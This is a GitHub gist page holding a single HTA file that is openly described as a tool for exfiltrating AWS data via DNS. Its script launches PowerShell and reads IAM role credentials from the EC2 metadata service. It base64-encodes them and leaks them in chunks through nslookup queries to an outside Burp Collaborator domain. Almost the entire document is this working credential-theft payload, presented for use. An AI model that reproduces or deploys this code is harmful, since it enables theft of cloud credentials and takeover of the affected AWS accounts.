Skip to content

Instantly share code, notes, and snippets.

@hateshape

hateshape/DNS-Exfiltration-AWS.hta

Created October 12, 2019 15:32
Show Gist options
  • Save hateshape/51b629ae3e2cfc5871521dbe7e5b90af to your computer and use it in GitHub Desktop.
Save hateshape/51b629ae3e2cfc5871521dbe7e5b90af to your computer and use it in GitHub Desktop.
Download ZIP
HTA File to Exfiltrate AWS Data via DNS
Raw
DNS-Exfiltration-AWS.hta
<html><head><meta name=ProgId content=htafile></head>
<hta:application id=x><script>
try { if (x.commandLine != ""){
new ActiveXObject('WScript.Shell').Run("powershell.exe -command $a=Invoke-RestMethod -Uri http://169.254.169.254/latest/
meta-data/iam/security-credentials/aws-ec2-role;$b=($a|Out-String);$c=[System.Text.Encoding]::UTF8.GetBytes($b);$d=[Syst
em.Convert]::ToBase64String($c);$e=($d -split '(.{50})'| ? {$_});for ($i=0;$i -lt $e.Length; $i++) { $f=$e[$i]+'.'+$i.To
String()+'.s5y5rjxrqu1g4ypp09vzwclb127xvm.burpcollaborator.net';nslookup -type=A $f;sleep(2)}",1)
}
}
catch(ex){ alert('Error');}
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment